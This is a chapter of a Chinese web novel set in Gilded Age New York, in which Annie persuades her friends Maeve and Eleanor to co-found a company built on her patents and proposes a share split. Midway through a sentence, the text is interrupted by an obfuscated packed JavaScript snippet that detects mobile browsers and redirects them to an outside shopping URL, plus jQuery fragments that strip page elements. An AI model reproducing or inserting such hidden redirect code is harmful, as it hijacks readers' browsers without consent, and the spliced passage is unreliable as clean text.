钢笔与蘸水笔划过纸张的沙沙声，是冬夜里最安神的伴奏。
三人从外面回来后，几乎立刻就钻进了小书房。
此刻，学习时间已近尾声，但三人都毫无倦意。埃莉诺正尝试用米芙教的复式记账法计算一份虚构的茶会收支，眉头微蹙，指尖沾了墨水还不自知。安妮也一并听了内容，正在验算同样的题目。米芙则在润色一篇短文，内容是关于自己的日常工作和生活，题目刚才三人还在讨论，或许就叫「第五大道的黑人女秘书」。
安妮说，这个主题没准能引来猎奇的关注。安妮还说，别人因何而来不重要，你最终能提供什么留住人更重要。
……
安妮验算完毕，与埃莉诺核对了一下结果。她的目光不由地投向窗外，玻璃上已经结了寒霜。纽约城隐没在深沉、朦胧的夜色里——那是镀金时代澎湃脉搏下的小小停顿，是资本与机遇疯狂流动间的短暂安静，也是无数像她、像米芙、像埃莉诺、像露西、像吉米、像那些在码头挣扎的爱尔兰移民一样的人，被无形力量冲撞得东倒西歪后，终于搁浅喘息的时刻。
她指尖摩挲着胸口内袋里那块冰冷的怀表，「滴答、滴答」，像是一个来自遥远时空的叩问。
「米芙，」安妮忽然开口，声音不高，却清晰地打破了书房的宁静，「你之前安排专利咨询时，查阅的资料里，有没有看到过公司注册和股份协议相关的内容？」
米芙从文稿中抬起头，揉了揉发酸的手腕：「你怎么突然问起这个？」
「是因为我！」
埃莉诺轻轻叹了口气，接过话头，脸上带着些许赧然，「我向姑妈承诺要自己做起来的小生意，至今还没有头绪。安妮想帮我。」她看向安妮，眼神带着真诚地感激，「安妮，你即将拥有自己的专利，日后说不定通过授权就能赚到钱。我替你高兴！但这些是你自己的权利，我不会也不应该掠夺。安妮，我是说真的，你不需要考虑这个。」
安妮迎上两人的目光，突然深深地微笑起来。
「不，请不要拒绝。请听我说！我正式地、再次邀请你们，」她的声音是愉悦的，也是有力的，「不是以朋友的身份，而是作为合伙人的邀请。埃莉诺，米芙，我们三个一起做。不仅仅是专利注册，也包括注册一个股份公司。我希望用专利入股，我们共同出资，一起经营！」
埃莉诺几乎是立刻摇头：「安妮，这不行。这是你的心血，我们不能占这个便宜。」
「她说得对，」米芙紧接着附和，「如果你急需那两百美元的专利申请费，我可以借给你，无需利息。但让你分出专利的可能收益，这绝对不行。」
「不，你们听我说完。」安妮的语气异常坚定，「我坚持这么做，不是因为慷慨，而是出于最现实的考量。」
她条理清晰地分析起来：
「第一个理由很简单，我们一起做，比一个人做要容易得多，也更安全。」她的目光真诚地看向两位朋友，「我需要埃莉诺你的名望和社交网络，也需要米芙你的知识和执行能力。在纽约，一个像我这样的外来者，想独自做成生意，每一步都如履薄冰。但我们三个人的名字连在一起，就不一样了，它会形成保护我们每个人的屏障。」
她稍作停顿，然后继续深入。
「第二个理由，我希望你们不要仅仅把这件事看作是在帮助我个人。」她的语气愈发恳切，「我们可以把它想象成一辆有轨马车。我们三个人都是乘客，虽然最终想要抵达的目的地可能不尽相同：埃莉诺你实现经济独立的承诺；米芙你支撑写作理想的基础；而我，需要在纽约站稳脚跟。但是，我们能一起登上这辆车！」
她的目光在两位同伴脸上停留，确保她们理解这个比喻的核心。「这辆马车，能够载着我们每个人，更快、更稳地接近自己的目的地。我们把自己的利益与马车的顺利前行捆绑在一起，通过共同做成这件事，来实现各自的目标。这远比单纯依靠个人情谊的帮忙，要牢固和持久得多。」
最后，她的语气带上了一丝冷冽。「现实的残酷远超我们的想象。一个人单打独斗，注定举步维艰。只有我们紧密合作，将彼此的资源、智慧和力量汇聚在一起，才能突破重围，获得远比单打独斗要多得多的东西。」
「正因如此，我才更需要你们的参与。从一开始就绑定共同的利益，远比靠个人情谊维系要走得更远。当然，」她话锋一转，带着不容商量的锐气，「在股份和未来收益的分配上，我绝不会让步太多。我的股份和收益，理应占据主导。」
三人目光接触，书房内陷入了一片沉默。
安妮的坦诚与清醒，让米芙和埃莉诺步入沉思。
/
壁炉跃动的火光映在安妮沉静而坚定的侧脸上，她清晰吐出的每一个字，都在米芙心中激起涟漪。
米芙从未告诉安妮，她喜欢听她说话。她总能从中获得意想不到的力量。
「……我们三个一起做。不仅仅是专利注册，也包括注册一个股份公司。我希望用专利入股，我们共同出资，一起经营。」
当安妮说出这个提议时，埃莉诺立刻出声反对，米芙也下意识地点头附和。借出申请费是一回事，分享专利未来的可能收益则是另一回事，这便宜，她们不能占。
然而，当安妮用那句「出于最现实的考量」打断她们，并给出自己的理由时，米芙过去的想法被动摇了。
她的思绪不由自主地飘回那个夜晚，当她第一次看到安妮绘制的“安全胸衣”和“蝴蝶结系带连衣裙”草图时。那一刻的惊艳至今记忆犹新——不仅仅是出于女性对优美设计的本能欣赏，更是因为她敏锐地意识到这些发明背后蕴含的广阔市场。
几乎与此同时，一种现实的警觉攫住了她。这个时代，创意被肆无忌惮地窃取屡见不鲜，没有法律保护的发明，如同把巨大财富拱手让人。正是这份深切的担忧，促使她立刻行动起来，利用作为马蒂尔达夫人秘书所积累的信函往来经验和通信地址，谨慎地筛选、联系了信誉卓著的专利代理公司。她当时的想法很简单：必须为安妮，也为这些珍贵的设计，筑起一道防线。
在这间小书房每晚的共处时光里，她对安妮的钦佩与日俱增。这个看似沉静的女孩，头脑中却蕴藏着与她年龄、经历不相符的深邃洞察力。她总能提出一针见血的问题，给出米芙自己未曾设想过的解决方案。更难得的是安妮身上那种奇异的「安心感」，仿佛无论遇到何种难题，她都能稳住心神，找到前路。这种特质无声地激励着米芙，也悄然唤醒了她内心深处那份压抑的野心——也许，她们真的能做成一些不一样的事情。
她想起了从前。
那些在社区里一同长大的玩伴，在有色女子学院中曾与她挑灯夜读、畅谈理想未来的同学……她们也曾目光灼灼，约定要彼此扶持，在各自选择的领域里做出成绩，绝不辜负所受的教育与自身的才华。
然而，她亲眼看着一个又一个朋友，在家庭的责任、社会的期望或是现实的磨砺下，渐渐收敛了羽翼，最终消失在柴米油盐与相夫教子的日常洪流中，从她奋力向前的人生航道上黯然退场，成了记忆中模糊而略带伤感的背影。
那种自以为遇到志同道合者，最终归于星散的失落与孤独，她品尝过太多次。
不久前，也是在这间书房。
安妮告诉她和埃莉诺，神情是少有的郑重。她说她想申请专利，但深知困难重重，需要她们的帮助——不仅仅是联系代理人，还包括在社交、法律和资金上的支持。然后，安妮做出了让她们都愕然的决定：她愿意共享专利权。彼时，她和埃莉诺在安妮离开后，几乎是不约而同地达成默契：她们会倾尽全力帮助安妮，但绝不可以、也绝不会贪图那本应完全属于安妮的智慧结晶。那是出于对友情的呵护，也是对朋友的尊重。
然而此刻，听着安妮冷静地剖析着「一起做」的现实必要性，听着那个「有轨马车」的比喻——她们同乘一车，驶向各自不同却又因这共同事业而紧密相连的未来——米芙感到那个新的，那个她苦苦追寻的可能已在眼前铺就。
安妮看到的，不是简单的施与受，不是出于怜悯的帮忙，甚至不是纯粹的朋友情谊。她构建的，是一个利益与风险共担的同盟，一个目标清晰、分工合作的伙伴关系。
透过安妮的眼睛，她看到了不一样的东西。这不再是过去那种容易随着人生境遇变迁而风流云散的女伴情谊，而是一种更牢固、更现代，也更能抵御风浪的连接。这不是索取不该得的报酬，而是以自身的资源、能力和信誉入股，真正地与安妮站在一起，共同面对未来不可知的挑战，分担创业路上必然伴随的责任与风险。
这需要勇气，也需要魄力。
当安妮最后强调「我的股份和收益，理应占据主导」时，米芙非但没有感到被冒犯，反而松了一口气，继而涌起一股更为强烈的认同。这表明安妮并非一时冲动的慷慨，而是出于深思熟虑的、理性的合作提议。她清楚地知道自己的价值。
而她，米芙，拥有这样的勇气，这样的魄力吗？
米芙抬起头，目光越过书桌上摊开的文稿，先是与埃莉诺交换了一个复杂的眼神——在那双熟悉的蓝眼睛里，她看到了与自己相似的震动与犹疑。然后，她的视线最终落回安妮身上。
她是如何在说出这般具有冲击力的话后，仍旧保持一种近乎淡然的表情。仿佛她刚才描绘的不是一个可能颠覆她们现有生活的蓝图，而是一个早已在心中反复推演过无数遍、理所当然的未来。
心中那些关于过往失落友情的怅惘，关于现实谨慎行事的告诫，在这一刻，都被眼前这个女孩身上散发出的、近乎灼人的信念所覆盖，转而化作一种前所未有的、蓬勃生长的希望与决心。
她深吸了一口气，微微挺直了背脊，打破了沉寂：
「安妮，」她说，「这辆马车……我想上车。」
/
「埃莉诺？」安妮的目光转向仍在蹙眉沉思的友人。
埃莉诺内心的挣扎清晰地写在脸上。
她习惯于在既定的社交规则和长辈的期望中寻找安全区，而安妮的提议，无疑是将她推向了一片充满未知与风险的深海。她想起玛蒂尔达姑妈的眼神，想起伊迪丝姑妈的微笑，想起父亲落寞的背影，想起母亲来不及擦干的眼泪……想起了自己独自坐在北上纽约的火车上，对前路的一片茫然和忐忑，黑暗中只有她一个人静静地坐着，孤零零的。她以为，她将永远这样子。
突然，所有人的影像都像镜面碎裂一般在她眼前解裂消失，她的眼神重新聚焦，迎向两位目光灼灼的同伴。
眼前是一条截然不同的道路。
沉默仿佛被拉长了。
谁也没有注意，一个毛茸茸的小身影，悄无声息地趴在书架与沙发之间的阴影里，观察着她们。
墨西哥——这只平日总爱在公馆里进行「探险」的小猎犬，不知何时溜进了这间小书房，并且聪明地找到了一个温暖又不被打扰的角落。它湿漉漉的黑鼻子轻轻抽动，捕捉着空气中熟悉的气味。它的小尾巴尖在地毯上满足地、有节奏地轻轻拍打着，彷佛很享受和它的「大伙伴」们共处一室的时光。
它自然不明白那些复杂的词语，什么「专利」、「股份」、「马车」，但它能敏锐地感知到情绪的流动。它感觉到安妮声音里那种绷紧的、期待的力量，像拉紧的弓弦；感觉到米芙身上散发出的那种从犹豫转向某种炽热的变化；而最明显的，是来自埃莉诺的纠结和沉重，那是一种让它有些不安的低气压，仿佛暴风雨前的闷热。
「汪！」
墨西哥突然清脆地叫了一声。它不是对着任何人，也不是看到了什么，更像是对让它不安的沉闷气压的回应。这声吠叫在安静的书房里显得格外突兀，如一声恰到好处的定音鼓，敲碎了最后一丝薄冰。
三个女孩都愣了一下，随即目光齐刷刷地转向声音来源，看到了那个不知何时潜伏进来的小家伙。
埃莉诺脸上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627033|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑容瞬间绽开，她说道：「哎呀，墨西哥！你什么时候进来的？」
安妮和米芙也笑了起来，严肃气氛一下被这个小插曲调和得无比温馨。
墨西哥摇着尾巴，小跑着凑到三位女孩的脚边，用它温暖的身体挨个蹭着她们的裙角和鞋边，喉咙里发出满足的、咕噜咕噜般的呜咽声。它感觉到她们都在笑，那种让它安心又快乐的情绪重新占据了整个房间。
埃莉诺弯下腰，温柔地将这个小家伙抱了起来，搂进怀里。墨西哥立刻热情地伸出粉色的舌头，一下下舔舐着埃莉诺的脸颊和下巴，惹得她一边躲闪一边发出清脆的笑声。
终于，埃莉诺深吸了一口气，像是卸下了某种沉重的负担，她抬起头，眼中虽然还残留着一丝不确定，但更多的是一种下定决心的勇气。
「我……」她顿了顿，声音起初有些微弱，但随即变得坚定起来，「安妮，你说得对。一个人……确实走不远。」
她看向安妮，又看向米芙，唇边努力牵起一个微笑，「那么，我也加入。这辆马车，需要我这个乘客，不是吗？」
她的话音刚落，自己先像是被这个决定本身所释放的力量惊了一下，随即，一个更真实、更轻松的笑容在她脸上绽开，驱散了最后一丝阴霾。
安妮紧绷的肩膀不易察觉地松弛下来，嘴角上扬，露出一个大大的微笑。米芙也笑了起来，眼神明亮，那是一种看到同伴终于跨越障碍的欣慰与喜悦。
窗外的寒气似乎被彻底隔绝，小小的书房里，只有炉火的暖意和三颗炽热的决心。在此刻，她们都明确地感知到，她们的关系变得更紧密了。
/
眼前这幅温暖的景象，让安妮心头忽然泛起一阵似曾相识的感觉。
她想起多年前读过的《红楼梦》，想起大观园里那些明媚鲜妍的女儿们最后一次聚在一起填词作诗的场景。
那些娇憨的、灵秀的、孤高的灵魂，在无可挽回的沉落时代里，似乎早已预见了自己的命运？她们只是不愿说破，依然在薄暮降临前，用最后的热忱吟咏着柳絮与海棠。
她尤其记得薛宝钗那篇《临江仙》，那个最通透却也最无奈的女子，在众人皆叹柳絮飘零时，偏要写出不一样的境界：
「万缕千丝终不改，任他随聚随分。
韶华休笑本无根。
好风凭借力，送我上青云。」
……
「好风凭借力，送我上青云。」
安妮在心中默念着这传世名句，眼眶微微发热。大观园的女儿们终究没有等到她们的「好风」，她们的诗句越是豪迈，越衬得现实无比苍凉。
但此刻不同——安妮看着身旁满怀期待的米芙和埃莉诺。她们身处的这个时代正在隆隆向前，充满变革与机遇。这不是一个下沉的时代，这是一个注定要上扬的时代！而她们，就要做那借着好风直上青云的柳絮，不仅要飞得高，还要飞得远，飞出一片属于她们自己的广阔天空。
安妮站起身，在空白的纸页上写下三个标题。
她的指尖在微微发颤。这不仅关乎她的生存，更将改写另外两个女孩的人生轨迹。她们将要踏上的绝不是通天坦途，相反，她们选择了一条荆棘丛生的窄径。这个时代固然朝气蓬勃，却并未对所有人敞开友善的怀抱 —— 对女性，它更是吝于接纳。她深吸一口气，仿佛要汲取整个房间的空气，来支撑接下来的话语：
「我想，我们的事业可以分三步走。」
埃莉诺和米芙不约而同地围拢过来，三人的影子在壁火映照下交叠，如同她们即将纠缠的命运。
「第一步，积累第一桶金。」安妮的笔尖点着第一个标题，「目标是一种叫做‘詹内车钩’的铁路连接装置。我了解它的核心原理和巨大价值。我们需要抢在所有人前面，找到发明人。铁路行业正在疯狂扩张，而我们可以直接接触到铁路大亨范里安先生，这会是最快见到回报的途径。」
「第二步，开设我们的成衣店。」笔尖移动到第二项，「主推我们一起设计的蝴蝶结连衣裙。至于‘安全胸衣’，」她顿了顿，「等待合适的时机。」
「第三步，」她的笔尖重重落在第三项上，带着不容置疑的雄心，「建立我们自己的成衣工厂。实现设计、生产、销售一体化。」
她放下笔，看向两位同伴，眼神灼灼：「现阶段，我们需要立刻着手推进几件事：第一，确定我们的股份和分工。我提议，我占百分之五十一，埃莉诺百分之十五，米芙百分之十五。剩下的百分之十九，暂时由我代持，未来或许可以奖励给核心的员工，或者用于应对其他未知的需要。但在对外身份上，我期望埃莉诺能站在台前，我的对外身份仍然是事务助理。外界无需知道我们的股份细节。」
「第二，注册我们的品牌和公司。」
「第三，同步推进专利申请。」
「第四，」她的目光变得锐利，「动用一切资源，促成范里安先生与‘詹内车钩’的合作。」
安妮将手伸了出来。
怀表的滴答声仿佛与她的心跳重合。这一次，不再是遥远的叩问，而是清晰的鼓点——为她们即将开启的征途计时。
「这不是一时冲动，」米芙的声音有些沙哑，她的呼吸微微急促，但眼中闪烁着前所未有的光芒，「这是……一个真正的计划。」
埃莉诺重重地点了下头：「基于信任，也基于我们各自不可或缺的价值。」
米芙将手覆到了安妮的手上，埃莉诺的手也随即盖上。
三只年轻的手紧紧交叠在一起。
在墨西哥简单而纯粹的世界里，它觉得它的伙伴们变得有点「奇怪」。她们刚才还在用一种它不理解的方式传递着紧张和沉重，现在却突然被一种明亮、温暖又柔软的东西包裹了起来。这种东西，比壁炉的火光更暖，比它最爱的肉脯味道更让它开心。它只知道，它喜欢她们现在这样。它蜷缩在埃莉诺温暖的怀抱里，感受着她胸腔因笑声传来的震动，舒服地闭上了眼睛。